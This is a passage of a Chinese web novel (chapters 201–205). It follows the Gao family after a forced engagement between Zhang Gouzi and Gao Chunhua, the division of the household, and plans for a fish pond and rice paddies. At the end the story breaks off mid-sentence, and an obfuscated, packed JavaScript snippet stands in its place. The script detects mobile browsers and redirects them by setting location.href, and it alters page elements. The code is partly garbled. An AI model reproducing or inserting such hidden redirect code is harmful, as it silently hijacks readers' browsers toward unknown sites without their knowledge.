高二壮扯了扯嘴角,他也觉得大嫂现在这样弄的有点难看。 今天这事这就是个意外,春花也是为了救人,脸上也不一定会留疤,怎么就到了狗子要是不负责,春花就要完了的地步啊。 可那毕竟是大嫂,爱女心切一时情绪失控也难免,他身为小叔子实在不好说些什么,只能等娘或者老三媳妇从绣坊回来了,让她们帮着劝劝。 屋里,张狗子从震惊中缓过神来,听到刘小翠抱怨高长天不该什么人都管,抱怨姚春香对外人比对自家人还好,忍不住道: “婶子,你别这么说大伯和大娘,他们对我的大恩大德我一定会报答的。” 刘小翠要的就是这话,她立刻追问道: “你怎么报答?” 张狗子语塞了,他努力干活,努力攒钱,以后高家只要有需要,他可以倾尽所有,这不能算是报答吗? 可刘小翠要的不是空头许诺,她要的是实实在在的能兑现的承诺。 要不是今晚她跟过去偷听,她做梦也想不到张狗子居然会是侯爷的儿子。 哪怕生母只是个妾,但亲爹是侯爷,还是有权有势的侯爷,张狗子只要认祖归宗,以后的荣华富贵怎么也少不了。 听到这个秘密的瞬间,刘小翠就改变了主意,她一定不能放过这个金龟婿,一定要让闺女飞上枝头变凤凰。 所以在被高娇娇发现偷听后,刘小翠就立刻跑回来找张狗子。 她不顾脸面又哭又闹,就是要抢在公婆做出决定前,给闺女抢一个名分。 刘小翠觉得以公婆和丈夫的偏心,他们不会把张狗子这样的乘龙快婿留给春花。 她甚至怀疑公婆这么久都不告诉他们这个秘密,是想撮合小姑子和张狗子。 想让他俩生米煮成熟饭,想让她那个克夫又粗鲁,不可能再找到什么好夫婿的小姑子,捡了这个大便宜。 所以她得抢得争,得用尽手段为她闺女守住这门亲事,守住她后半生的荣华富贵。 第二百零一章 我会负责 若论胡搅蛮缠,十个张狗子也比不过一个刘小翠。 张狗子本就混沌的脑子,在刘小翠的步步逼问中迅速败下阵来,不知不觉就脱口说出了那句刘小翠最想听到的话, “我肯定会负责——” “狗子,婶子没看错你,你真是个顶天立地的男子汉大丈夫! 婶子这就去喊你大伯大娘他们回来,请你朱叔算个好日子,把你和春花的亲事定下来!” 刘小翠不给张狗子反悔的机会,说完这句就跑了出去。 这次她不仅主动跟院里的人打招呼,还冲他们嚷嚷, “狗子是个知恩图报的,说不管我家春花脸上会不会留疤,都一定会娶她。” 院里众人你看看我我看看你,一时都不知道该说点什么。 刘小翠压根不指望院里的人说什么,她说完就往外走,冲每一个遇到的人嚷嚷。 她就是要把这件事嚷嚷的人尽皆知,让张狗子想反悔都不能,让公婆想抢也抢不走。 刘小翠走了,可院里炸了锅。 高二壮慌的不行,拉着罗子连声道: “你替我看着火,我得去找我娘他们。” 罗子连声催促道: “快去,快去,这边你放心。” “你别急,这,这其实也不是啥坏事,他俩也到了该成亲的年纪了。” 李二结结巴巴安慰了句,高二壮胡乱摆了摆手,拔腿就往外跑。 外面的动静吵醒了高春花,她迷迷糊糊睁开眼睛,看到守在她身旁的高秋花,不由问道: “外头怎么了?我好像听到娘在嚷嚷,好像提到了狗子哥,狗子哥咋了,伤势加重了吗?” 高秋花已经被这突然的一切弄懵了,脑子跟浆糊一样,只能愣愣回道, “娘,娘说狗子哥要娶你。” 高春花猛地眨了下眼睛,不敢相信自己的耳朵。 愣了一会儿,不顾自己背上敷了药还趴着,更不管腿上生疼,立马翻身就要下炕。 高秋花更加慌乱无措,手忙脚乱去阻拦,却被高春花推到一旁。 高春花趿拉着鞋,披着夹袄,扶着墙单腿跳着往张狗子住的窑洞走去。 她怕自己是在做梦,她不敢相信自己会有这样的好运,她得亲口过去确认一下。 院里众人还在小声议论刘小翠的话,有人瞟到有个身影进了张狗子住的窑洞,还以为是照看他的人,也没在意。 屋里,高二宝正在喂张狗子喝水。 他见大伯娘走后,狗子哥就愣愣躺在床上一动不动,不由有点害怕。 他虽还小,但也能看得出来狗子哥好像并不是很想娶大姐,可又不知道怎么安慰,只能陪着干瞪眼。 刚想起高娇娇临走前的吩咐,便小心翼翼问张狗子要不要喝水。 张狗子心里乱的很,根本没听清高二宝说了什么,随口应了声。 于是高二宝便倒了碗水,用勺子舀着喂他。 刚把水喂到张狗子嘴边,门帘又被掀开了。 张狗子艰难扭头看去,看到扶着墙单腿蹦过来的高春花,本就混乱的心更是乱成一团糟。 “大姐,你咋过来了?” 高二宝吃了一惊,原本应该喂到张狗子嘴里的水一歪,全部流入了他的脖子里。 张狗子也不知道是自己身上冷,还是水太热,水流下去的瞬间,竟忍不住打了个寒颤。 高春花挤开高二宝,半倚着身子坐在炕边,直愣愣地盯着张狗子。 张狗子看着高春花乱糟糟的头发,脸上大大小小的擦伤,右侧脸颊还有一条巴掌长血道子,嘴唇惨白几乎没有血色。 本来觉得尴尬想移开的视线,不由凝固住了。 为了救他,春花居然把自己弄的这么惨。 脸对于一个姑娘多重要啊,要是真留下那么长一道疤,让她嫁不到好人家,他这辈子都不会心安的。 张狗子不由软了口气,真心实意道: “春花,今天多谢你救了我。” 高春花愣了下,有些不好意思道: “我当时就是太心急了,没想那么多,其实应该先喊姑姑救你的。 她那么厉害,说不定一下就会把狼打死,你也就不会受伤了。” 张狗子被她这话弄的心里发酸,都这样了,她还一心想着他,从没为自己考虑过一点。 这世上,除了她,没人会对他这么好了。 高春花被张狗子这么看着,不由有点羞涩。 他还从没用这种眼神看过她,更没盯着她看这么久呢。 张狗子再次道谢, “不管怎么说,你都是为了救我才伤成这样,这份恩情我会铭记于心的。” 高春花唇角的笑意僵住了,她要的从来都不是感谢,她忍不住鼓起勇气问道, “狗子哥,我,我听我二妹说,你,你跟我娘说要娶我?” 张狗子原本酸酸软软的心,不知怎地一下子就有点堵了。 他从没说过要娶,他说的负责是会帮春花找个如意郎君啊。 可看着高春花满含爱慕的眼睛,想到她一直以来对自己无微不至的关心,这次更是不惜冒着生命危险救自己的场景,张狗子想坦白的话便怎么也说不出口了。 高春花满怀期待的心,在张狗子的沉默中越来越凉,凉的发寒。 她咬了咬嘴唇,扯到了脸上的伤也不觉得疼,只觉得身上再疼也没心里痛。 勉强打起精神,高春花努力做出若无其事的样子道: “我,我二妹可能是听错了,我知道我不够好看,也不温柔,更不能干。 你那么聪明厉害,不喜欢我这样的很正常。 是我,是我一厢情愿了,我,我,你放心,我不会缠着你的,我没那么不要脸。” 眼泪快要控制不住了,高春花赶忙站起身就要往外走。 却忘了自己腿上有伤,一步迈出去,剧烈的疼痛让她身影一晃,就要往下栽倒。 高二宝吓了一跳,赶忙冲过来要扶她。 张狗子反应更快,拼命伸手拉住了高春花的左胳膊,用力一扯。 高春花没摔在地上,侧着倒在了床上,疼的不由喊出了声。 张狗子也疼的额头直冒汗,情急之下用力一拉,他听到自己肩膀明显的发出“咔嚓”一声响,然后右胳膊就软绵绵再也不能动弹了。 可能是才复位的肩膀脱臼了,也可能是直接用力过猛直接断了,但好在高春花没摔,不用再欠她一回了。 高二宝被这突然的变故吓坏了,见他俩倒在一起都不动弹了,急的大声喊着跑了出去, “来人啊,快来人........” 李二等人头挨头说的正起劲,忽然听到高二宝喊,惊得差点没撞一块儿,赶忙转身看过来。 刚冲进院门的高二壮带着高娇娇等人,也被高二宝这一嗓子吓到了。 众人慌慌张张冲到屋里,看到炕上的情形却齐刷刷停下了脚步。 第二百零二章 分家 虽说现在天已经黑了,可晚饭还没吃,也没到入睡的时候呢,这俩人抱在一起睡算怎么回事? 炕上的两人也被突然冲进来的一大群人吓到了,高春花本来努力撑着炕想要爬起来的手一哆嗦,吧唧又倒了回去。 压的已经快疼晕过去的张狗子不由闷哼出声,听得堵在门口众人莫名尴尬了起来。 这画面,这动静,这,这,这,少儿不宜啊。 “这个,那个,我,我去看看肉,别烤焦了哈。” 李二转身就走,不敢再逗留。 “那个,我也去烤肉,对,烤肉。” 罗子紧跟着开溜,剩下几人有样学样,胡乱找了借口就赶紧走人。 高娇娇适应了屋里的光线后,看到炕上两人脸色不太对,尤其是张狗子,脸色发白,额头湿津津的,好像出了很多汗。 “二哥,二哥,快,去请大夫来!” 高娇娇扑过去,小心翼翼扶起了高春花,众人这才发现张狗子的右胳膊软哒哒的垂着,一看就不对劲。 高二壮很快就请来了刘一手,刘一手身后还跟着跑到他那儿追问张狗子的伤势,一个劲儿让他保证不会留下后遗症的刘小翠。 而刘一手也从刘小翠滔滔不绝的话里,知道了张狗子为了报答救命之恩,要娶高春花为妻的事。 虽然他不明白为什么这个亲事听着就有点不对劲,但这也不影响他看到病人不听话后的愤怒。 劈头盖脸骂了高春花一顿,又板着脸训斥了张狗子一通,给他俩重新敷药接骨,好一番治疗后,严令禁止两人再下地。 为了惩罚张狗子,刘一手还用木板把他的右肩膀处固定了起来,让他想动也不能再动。 送走刘一手,姚春香黑沉着脸冲刘小翠道: “你跟我过来。” 哪知刘小翠扑通就跪了下来,哭着哀求道: “娘,我知道您一向心疼春花,舍不得她嫁给狗子吃苦受累。 可这孩子心里只有狗子,对狗子死心塌地非他不嫁,您就行行好,成全他们吧。” 姚春香差点气了个仰倒,让她成全,她拿啥成全? 她要不是看到春花刚醒过来就喊狗子的名字,昏过去之前还不放心狗子的伤,知道春花对狗子这样痴心一片,老大还乐见其成。 她用得着这个时候把老大叫过去,把真相告诉他和朱钰,让大家一起商量商量该怎么办。 就是因为太清楚这背后的危险,她才不舍得让孙女去冒险,但又心疼孙女这份痴情,才会这么为难。 可老大媳妇这个糊涂蛋,也不知道偷听了多少,就这么贸贸然搞出这么多事来。 现在好了,她还成了硬要把一对有情人拆散的恶婆婆了。 高娇娇也气得够呛,真是不怕蠢人懒,就怕蠢人动脑筋。 刘小翠这个自作聪明的蠢货,这是非要把高春花往火坑里推。 高春花这个恋爱脑也是没救了,都伤成这样了还要跑来找张狗子。 现在要怎么收场? 高娇娇不理会刘小翠,直接问张狗子, “你真愿意娶春花?不是为了报恩,不是因为骑虎难下,是真心实意想要娶她? 想要跟她共度余生,一辈子不离不弃?” 张狗子被问的愣住,一辈子,对他来说太遥远了,他连想都没想过。 刘小翠见高娇娇不顺着她铺好的路走,直接逼问张狗子,赶忙抢着嚷道: “狗子亲口说的要娶春花,男子汉大丈夫一口唾沫三个钉,肯定不会反悔。 娇娇,你一个做姑姑的,肯定也盼着春花好吧? 现在所有人都知道狗子要娶春花了,他要是反悔,不是逼春花去死吗?” 说完,又要往张狗子跟前扑,被高娇娇一把揪住,推到了高大壮怀里。 刘小翠还要挣扎,高大壮用力抱紧她,低声喝道, “你快闭嘴吧,给我消停些!” 刘小翠还要喊闹,被高大壮一把捂住嘴拖了出去。 屋里终于清净了,高娇娇对姚春香和高长天道: “爹娘,我去把双燕姐请过来,你们把话跟狗子和春花说明白吧。” 姚春香点头,高长天也微微颔首,高娇娇把郭双燕请来,又把高春花抱回来,让她斜倚着坐在张狗子旁边。 剩下的事,高娇娇就不管了,她也懒得再听一遍,让高二宝去绣坊喊人,回来吃饭吃烤肉。 昨晚的风太大了,把绣坊院里的一棵早年被雷劈过的老槐树刮倒了,枝干正好砸在了窑洞门口。 把两个窑洞的门窗都砸的不成样子,放在窗户旁的两个绣架也砸坏了。 林巧儿只得给绣坊的人放假一天,带着杜映梅和高雪花,还有高三宝和高小寒几个收拾,高三壮等刘一手给张狗子和高春花治疗过后,也过去帮忙了。 听到张狗子和高春花出事的消息时,林巧儿和杜映梅她们也跑回来了一趟。 姚春香说家里这么多人用不着她们,人太多了反倒还添乱,就让她们又回绣坊了。 没一会儿,高二宝就把高三壮和林巧儿他们喊了回来,他们本想去看看张狗子和高春花的情况,被高娇娇给拦住了。 里头现在麻烦着呢,他们还是先吃饭吧。 羊排烤的有点焦,羊腿烤的倒是刚刚好,高娇娇吃到美味,心里的那股子郁气也消散了不少。 人各有命,她能做的都做了,要是高春花还是非要一条道走到黑,那她也只有尊重祝福了。 屋里的商议结束的比高娇娇想象的快,姚春香和高长天先走了出来,两人脸上都带着浓重的疲惫,看的高娇娇很是心疼。 一把年纪了,连着劳累了好几天,还要为这种事操心费神,当大家长可真是太不容易了。 高娇娇忙冲高秋花等人使了个眼色,高秋花端起一盆温水,高二宝端起烤肉和菜粥,高三宝和高雪花拿着干净帕子和扫灰的小扫把。 高小寒和高冬月则上前一左一右牵着姚春香和高长天的手,让他们坐下等着享受。 姚春香和高长天看着团团围住他们的孩子,脸上不由露出了慈爱的笑容。 拍掉身上的灰尘,简单擦洗了下手和脸,喝着菜粥吃着烤肉,食物填饱了肠胃,也冲淡了心里和身上的疲惫。 高长天从羊排上撕下一条最嫩的肉,递给姚春香,温声安慰道: “儿孙自有儿孙福,咱们尽力了,就别再烦恼了。 吃饱喝好,好好睡一觉,明儿还有好些个事等着咱们安排呢。” 姚春香将肉塞到嘴里,用力嚼着道, “老大媳妇我是管不好了,用这种泼妇手段算计一个孤儿,真是丢尽咱家的脸。 既然她一心想要攀高枝,我看就把老大一家分出去吧,以后是福是祸就由他们自己担着。” 第二百零三章 各管各家 高长天有点迟疑, “我倒不是舍不得老大,就是放心不下秋花和雪花,这俩孩子的婚事可不能再由着老大媳妇瞎折腾了。” “那是当然,分家的时候当着众人的面说清楚,孙辈的婚事只要咱俩不点头都不算数。” 姚春香这次真是气狠了,她自问从没苛待过儿媳,就算再偏心娇娇,也没从各房手里搜刮东西,更没拿公中的财物补贴娇娇。 她给娇娇的都是他们老两口的私房,况且娇娇自从开窍后,就一直补贴家里,对侄子侄女那般宠爱,要什么都给买。 这些老大媳妇硬是一点也看不到,只觉得她偏心,生恐自己这房吃亏,心眼子简直比针鼻儿还小。 春花也是个糊涂蛋,他们都把话说的那么明白了,就差指着她的脑袋告诉她,嫁给狗子可能会性命不保。 她却说只要跟狗子在一起,她无论怎样都可以。 哪怕狗子都劝她不要这样,还说他就是感动她对他的好,其实对她并没有什么儿女之情。 春花居然还要嫁,甚至说出要是家里怕被她连累,可以将她从户籍中除名的话来。 姚春香现在只恨自己当年眼瞎,怎么就信了媒人的话,给老大娶了这么个媳妇回来。 一个好媳妇旺三代,一个蠢媳妇坏三代啊。 春花这一根筋的脑子,绝对是随了她娘,没救了。 姚春香把满肚子郁闷都发泄到了烤肉上,一口接一口,把软骨咬的咔嚓咔嚓响,听得高长天都忍不住替她担心,怕她太用力把牙给崩了。 他们这个年纪,要是没了牙,以后再想吃点硬的东西可就难喽。 好在姚春香的牙十分坚固,把肉啃完也没崩坏,气也消了。 高春花和张狗子的婚事就这么定下了,次日一早,高长天就当着全家人的面宣布了这件事。 不等刘小翠脸上露出得意的笑容,姚春香紧接着就宣布了分家的事。 刘小翠的笑容僵在了脸上,高大壮如遭雷击脸一下就白了,高三壮直接就嚷嚷开了, “谁惹的祸谁担着,我又没惹祸,我不分家,我不跟爹娘在一块儿吃饭都不香。” 林巧儿也赶紧表态, “我们想留在爹娘跟前侍奉,不想分家。” 高三宝仗着年纪小,扑上去抱着姚春香的腿就哭, “奶,我不走,我不要分家,我要跟你们在一起........” 高二壮动了动嘴唇也想争取争取,可想到因为大凤的事,他这房已经给家里添了很多麻烦,实在不好意思再拖累爹娘,只能低着头不吭声。 姚春香见刘小翠张了张嘴,生怕她又说出什么让她火冒三丈的话,立刻沉声呵斥道: “树大分枝,人大分家。 我和你爹也不是因为老大家的事才突然想要分开,而是早就琢磨过这个事了。 你们各房的孩子眼看着也一天天大起来了,将来免不了要娶媳妇嫁闺女,总不能还一大家子都挤在一起。 再说就算想挤也挤不下,这里可不是咱们老家,实在不行还能在后院加盖几间房子。 你们啊,还是趁早多置办几间窑洞,留着给儿孙吧。” 听到这话,高三壮不吭声了。 林巧儿觉得婆婆说的也对,秋菊和三宝也大了,总得有自己的屋。 现在天还比较凉,大家穿得厚,挤在一张炕上也能凑合,等天热了,那么大的姑娘再跟他们住一屋,实在不方便。 高大壮有话要说, “爹娘,我又没儿子,闺女长大了嫁了人,你们又不让我跟着,我以后可咋办?” 说到这儿,高大壮的眼眶都有些泛红了。 他本来是想招狗子入赘的,这样春花喜欢,他们两口子也高兴,没想到狗子亲爹是侯爷,那入赘是肯定不可能了。 春花长大了就不听话了,秋花和雪花还不知道会是啥样,高大壮是一个也不敢指望了。 一想到要是闺女都嫁出去了,自己只能跟媳妇相依为命,孤单冷清,高大壮就忍不住心酸难过。 刘小翠见高大壮这般,心里也是难受的很。 心里原本那股子得意烟消云散,只剩下对未来的茫然。 就算有个侯府公子当姑爷,也比不上有儿子养老送终来得踏实心安啊。 男人嘴上虽不说,心里还是怨她没生出儿子来的。 春花是三个闺女中最能干最聪明的,她要是嫁了,剩下这俩跟包子一样绵软好欺负的,就算招个女婿只怕她们也降不住。 刘小翠忍不住后悔起来,她是不是不该为了荣华富贵,撮合春花和狗子啊? 可这个念头刚冒出头,就被刘小翠给掐碎了。 那可是侯府公子,这样天赐良缘要是让别人抢了,她这辈子都不会甘心的。 不管儿子媳妇怎么想,姚春香这次是铁了心要分家,让高二宝喊来朱钰和陆祥昆,还有刘一手师徒等人做见证。 当众立下文书,写明不许儿子媳妇再私自定下孙辈们的亲事,并且公中会留下一部分银钱,用作孙辈们嫁娶,就把剩下的田地钱财分了。 高大壮几兄弟对这个分法自然没有意见,在他们看来爹娘一向公平,肯定不会厚此薄彼。 林巧儿也没有意见,这样她以后也不用操心孩子的婚嫁,可以专心打理绣坊了。 刘小翠有意见,他们大房没有儿子,娶妻要花的银钱可比嫁女多多了,这样分他们太吃亏。 可高大壮不许她发表意见,不仅狠狠瞪着她,还压低声音警告, “你要是再敢胡闹,休怪我不念夫妻情分。” 刘小翠难以置信地看着高大壮,这个死男人居然这么狠心,她现在可是连娘家都没了,他居然就因为这点小事就威胁要休了她。 真是好狠的心啊! 她的命怎么就这么苦啊........ 不管怎样,高家这个家算是分了。 只是因为分的突然,各房都还没有别的住处,只能暂时住在一起。 但是钱财粮食田地都已经划分清楚了,以后就是各家管各家。 实在没空自己做饭的,就交口粮到姚春香这儿,先跟着一起吃,等将来自己有条件开火了再自己做。 至于养老孝敬什么的,姚春香觉得他们两口子还不需要,实在到了干不动那天,她就把地佃出去,靠收租也够过活了。 所有事情都安排妥当了,只剩曹寡妇这儿姚春香有点为难。 以前家里人多事多,需要请人过来帮忙,现在分家了,以后各房的事都由各房自己打理,姚春香懒得再管。 自然也就用不着再请人帮忙了,但是曹寡妇家日子过的艰难,就指着过来帮忙赚点钱吃顿饱饭,姚春香不忍心就这么断了她和孩子们的活路。 高娇娇见姚春香发愁,忙道, “娘,以后就让曹嫂子来我家帮忙吧,二哥要是有需要,就来我家吃饭,费用我俩平摊。” 姚春香觉得这么弄闺女有点吃亏,她现在有空了,也分了家,可以无所顾忌去帮闺女带孩子做饭洗衣服了。 结果反倒要闺女花钱请人帮忙,还是因为她的不忍。 第二百零四章 可以种水稻 可高二壮却抢着道: “娘,我看就这么办吧。 也别平摊了,妹妹家都是姑娘孩子,吃不多,我一人顶他们好几个。 以后两家的粮食都由我出,妹妹就看着买些油盐酱醋,把曹嫂子的工钱付了就行。” 高娇娇摆手,这可不行。 她家四口人,外加一个虽不常在家,但每个月也得回来住几天的杜衡,就是五口了。 二哥家原本三口,大宝走后就剩俩人,春雨中午还在医馆吃饭。 她要是再让二哥出粮食,那多不好意思。 高二壮坚持要出,高娇娇死活不让,姚春香受不了他们兄妹推来让去,没好气道: “听我的,就平摊,亲兄妹明算账,谁也不占谁便宜。” 见老娘发话了,兄妹俩只得同意。 曹寡妇得知自己以后要来高娇娇这边干活,很是高兴。 倒不是为了人少了活轻松,主要是说出去好听。 高娇娇这边是女人当家,家里长住的只有女人和小孩。 不像高家一大堆老爷们,她一个寡妇,整日进进出出难免被村里人嚼舌根。 加上高家老大媳妇又是个脾气大的,总爱盯着她干活,弄的她很是难受。 而高娇娇跟她娘一样,是个大气爽朗的性子,同样的条件,她自然更愿意跟着高娇娇干。 曹寡妇再三叮嘱儿子田木生,到了新主家要有眼力劲儿,千万别偷懒,即便主家不吩咐,也要自己找活儿干。 田木生使劲点头,他看到过高娇娇带着高二宝他们捞鱼,也听人说过高娇娇的厉害,对这位只比他大几岁,就能独当一面的小姑姑很是仰慕。 不知道他要是活儿干的好,这位小姑姑能不能教他几招,他也想变得跟她一样厉害,这样他就再也不用担心别人欺负娘和妹妹了。 高娇娇不知道自己即将多一个小跟班,正跟高长天他们说她养鱼的计划呢。 高长天对高娇娇从来都是有求必应,更何况闺女想干的是正事,当然要鼎力支持。 不就挖个鱼塘嘛,中午吃了饭就去挖,要不了几天就挖好了,挖出来的泥正好还能拿去沤肥种菜呢。 朱钰却忽然道: “既然要挖池塘,不如在池塘附近给我盖个房,我不要你们老家那种乡下大院,给我盖的小巧精致点。 房子不用太多,但屋里要铺地龙做暖墙,我怕冷。” 众人震惊,高娇娇试探道: “朱叔,铺地龙砌暖墙可不是一般泥瓦匠能干得了的,得从城里请老师傅来,要花不少钱呢。” 朱钰冷哼一声, “一个二进小院,撑死了一二百两,我又不是要金玉满堂,雕廊画柱,这点银子我还是有的。” 高娇娇抚掌赞道, “还是我朱叔阔气,行,我回头就进城打听,一定给你请个手艺好的老师傅过来,给你盖的漂漂亮亮。” 高长天见他俩这就要定下,赶忙劝道: “二弟,盖房子可不是小事,你要不再想想?” “不用想了,大哥,我孑然一身,留着那么多银子也是无用,不如盖个自己喜欢的小院,将来也有个落脚处。” 说到将来,朱钰眼中闪过一丝怅然,也不知道他还有没有这个运气,回到这里颐养天年。 高长天觉得朱钰这话听着不太对,还想再劝,高娇娇忙插嘴打断道: “爹,朱叔可是读书人,跟咱们这种大老粗不一样,住不惯窑洞也正常。 他喜欢你就让他建呗,反正他还有田还有咱们呢,总不至于让他饿肚子了。 再不济,等房子盖好了,在后头开个门,办个私塾,收点学生,也够他日常开销了。” 高长天觉得闺女这个提议不错,二弟可是秀才,开个私塾肯定能收来不少学生。 朱钰却忍不住弹了下高娇娇脑门,这丫头,这就又算计上他了。 他说了要在村里办私塾就一定会办,哪儿用得着她提醒。 高娇娇捂着额头假装喊疼,惹得朱钰忍不住想再弹她一下。 高大壮见他们说说笑笑很是热闹,似乎已经忘了他们一开始说的是养鱼的事,忙提醒道: “妹妹,你还没说鱼塘挖在哪儿,要多大呢。” 高娇娇刚要开口,朱钰就抬手道: “鱼塘的事不急,咱们先说一下种水稻的事吧。” 话音落下,本来闹哄哄的屋里忽地就静了下来,高长天哭笑不得冲朱钰道: “二弟,你没种过地,不知道水稻这东西娇贵着呢。 这里又干又冷,可种不了水稻。” 高大壮几个也纷纷点头,别说这里了,就连他们老家那边也不是哪个村都能种水稻的,他们村之所以能种,是因为地势平坦有河流过,水量还很大。 即便不下雨,他们也有足够的水灌溉,尽管这样,村里的水田也很少,高家也不过只有五六亩。 每年收上来的稻谷,还不够一家人放开肚皮吃呢。 石楼村这边据说一年到头也下不了几场雨,每年从十月一入冬就上冻,直到次年二月才能冰雪消融,怎么种得了水稻啊? 朱钰却道: “能种,我去衙门打听过了,岚县一共有五六百亩水田,亩产最高可达三四石。 并州府的水田比岚县要多很多,据说还产一种很有名的老泉米,这种米是用神庙附近的老泉水灌溉长成。 米粒大而饱满,色泽稍褐而透明,性软而韧,做出饭来颗粒分明,香气扑鼻,一度还成为过皇家贡品。 我听衙门的小吏还说,并州府那个神庙附近的村镇专门种稻米,几百上千户,稻田绵延数千里,置身其中,仿若鱼米之乡。” 众人你看看我,我看看你,都不敢相信,又忍不住开心。 这里要是真能种水稻可就太好了,他们虽然也吃得惯面食,但是也受不了顿顿吃面,哪怕隔三差五吃一顿米饭也是好的啊。 高长天是种地的老把式,立刻就想到了关键问题, “二弟,这里的稻谷种子跟我们老家那边的不一样吧? 是不是耕种收割的月份也跟我们以前不一样?” 朱钰点头,从怀里掏出一张纸递给高长天, “这是我打听到的耕种办法,只是个大概,具体情况你们最好派个人去并州府那边学一学,直接从那边买点适合的粮种回来。” 高长天点了点头,是得派人去学一学,不光是为了让大家能吃上米,更重要的是这里稻米产量不高,那卖价肯定不低。 种水稻比种麦子赚钱,而且分给他们的地里没有水田,自己开垦出来的水田可以算作荒地。 并州府这边鼓励开荒,刚开垦出来的荒地头两年不用缴纳赋税,这可是个好机会啊。 见高长天他们说起开垦水田就滔滔不绝,高娇娇急了, “水田的事一时半会儿又弄不完,我鱼塘这儿可是着急的很,赶紧把鱼养出来,大家也好多个赚零花钱的门路啊。” 朱钰笑道, “就你性子急,我们马上就要说到鱼塘了,我看就挖在桥北大柳树的东边吧。” 高娇娇不解, “为啥?那个地方比较好挖,还是风水上有啥讲究?” “非也,非也,是我准备把房子建在柳树后头的坡上,等鱼塘挖好,你们种上荷花,我夏日就可以坐在院子里赏荷听雨了。” 朱钰捋着胡须,说的理直气壮。 高娇娇没忍住翻了个大白眼,像她这种整天琢磨怎么搞钱的俗人,跟这种只会风花雪月的文人,真聊不到一块儿。 第二百零五章 打消她的念头 高长天见朱钰想要,闺女也不反对,便拍板定下了鱼塘的位置。 接下来自然又是一番忙碌,高娇娇每天一起床就赶着牛车过去拉土,搬运要铺在池塘边上,防止滑土的大石头和小石头。 还要去坡上找适合种在池塘边的树苗,想到朱钰的赏荷听雨,高娇娇灵机一动,挖了不少果树苗回来。 村后山坡上长了很多果树,有以前村民专门从山里移栽的,也有后来分支培育的,还有不知被哪个鸟兽带过来的种子,就地生根发芽的。 大小不一,品种多样,现在树木才冒出嫩芽,既没开花也没长叶子,高娇娇完全分辨不出来,只要看着顺眼的,就统统挖了扛回来。 姚春香看到堆成堆的树苗头疼不已,一边分拣一边抱怨, “香椿树也就罢了,怎么连臭椿树也挖? 还有这酸李子树,能酸掉牙,谁会吃它? 这又是个啥?哎呦我的好闺女啊,这个有毒,开的花一碰到身上就起红疙瘩.......” 高娇娇讪讪地摸了摸鼻尖,瞪了眼偷笑的高二宝几个,无意中看到高春花从窑洞门口探出头来,不由暗叹了口气。 这两天,高春花的日子过的并不舒坦。 爹娘因为分家的事大吵一架,娘跑到她跟前大哭一场,说做这一切都是为了她,等她过上好日子了,可不能不孝敬爹娘。 高春花心里很不是滋味,她能理解爹的生气,也知道爷奶之所以分家,是不想全家被她牵连。 她知道自己这个决定太任性,对不起全家,尤其对不起爹。 她真没想到狗子哥亲爹那边居然是那么复杂的情况,可即便是这样,她也要嫁给狗子哥,陪他去京城拿回属于他的一切。 上辈子没有她的帮助,狗子哥也成为了侯府的世子爷,这辈子有了她的帮助,狗子哥一定会更顺利。 等到狗子哥掌管了侯府,她就是侯府的当家主母了,她重活一世,还有送财童子帮忙,她想要的,一定都能得到。 眼下最要紧的是加深狗子哥对她的感情,只要他们情比金坚,就什么也不怕。 高娇娇揉了揉耳朵,大步流星朝自家走去,离得远点,听不见了,也就不心烦了。 相比高春花的喜忧参半,张狗子心里就只有烦了。 躺在床上不能动弹,吃喝拉撒都得请人帮忙,张狗子觉得自己现在的处境,比小时候挨饿受冻时还艰难。 挨饿受冻只是身体难受,可现在,他是心里也难受啊。 他本想着高家对他有恩,春花又对他痴心一片,春花他娘又闹着非要他负责,那他就负责吧。 谁能想到他的身世背后还有那样的隐情,更想不到高大伯他们并不想让春花嫁给他,高家因此还分了家。 说不后悔是假的,可事已至此,他也只能认了。 他和春花的婚约已经定下了,高家这边的意思是他俩现在都有伤,就不办订婚宴了。 让朱叔代表他,跟春花交换了生辰八字,就算是定了亲。等六月他伤好了能下地了,就给他俩办婚宴,日子已经定下了,就在六月十三,离今天正好一百天。 等伤养好,婚宴办完,他和春花应该就会被高家扫地出门了。 以后他们是生是死,他能不能认祖归宗,高家都不会管了。 想到这儿,张狗子忍不住又叹了口气,他现在比一开始逃荒时还茫然。 那时候只要跟着高家人走,只要拿起武器去冲杀去拼命,就有活路。 可现在,**自己的活路在哪儿,他甚至不敢跟任何人说,他对自己的身世并不是一无所知。 他小时候饿得不行,偷偷去后山水潭里捞鱼的时候,遇到过那个老先生。 老先生对他很是慈爱,不仅给他东西吃,还教他认字,跟他讲了很多道理,说了很多奇奇怪怪的话。 他当时不明白,后来老先生的住处突然起火,连人带房子都被烧成了一片焦黑。 他怕的不行,不敢让任何人知道他跟那位老先生有过来往。 直到高家人把他身世的秘密告诉了他,他才恍然意识到那个老先生跟他说的那些话,好像另有深意。 张狗子只要一闭上眼睛,就不由自主回想老先生跟他相处的情景。 他望着他的眼神那么慈爱却又那么悲伤,就好像他早就预见到自己会死一样。 他很想找个人问问他应不应该认祖归宗,如果那个侯夫人真是害死他亲娘的凶手,那他亲爹是不是也知情? 如果知情他要怎么办,如果不知情他又要怎么办? 可**该去找谁问,朱钰那人心思深沉他看不透,不敢冒险。 高大伯他们,他实在没脸再去麻烦。 唯一信得过嘴又严,还能帮他解惑的就只有高娇娇了。 可自从他跟春花订了亲,高娇娇就没再过来看过他,哪怕她现在就在院里磨面,跟高二宝他们说说笑笑,也没问过他一句。 这让张狗子有些难过,若是以往,他应该跟他们一起忙忙碌碌,大家说说笑笑热热闹闹。 可现在,明明只隔了一堵墙,他走不过去,他们也不再朝他靠近了。 他好像又变回了在村里的样子,孤孤单单,无人问津。 他不禁有些委屈,他之所以愿意负责,本来是想着报恩的啊。 门帘突然被掀开,张狗子吃了一惊,不由又充满了期待。 可走进来的却是高春花,她拄着拐杖,提着一个小布袋,看到他看过来,立刻笑着同他打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342598|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招呼, 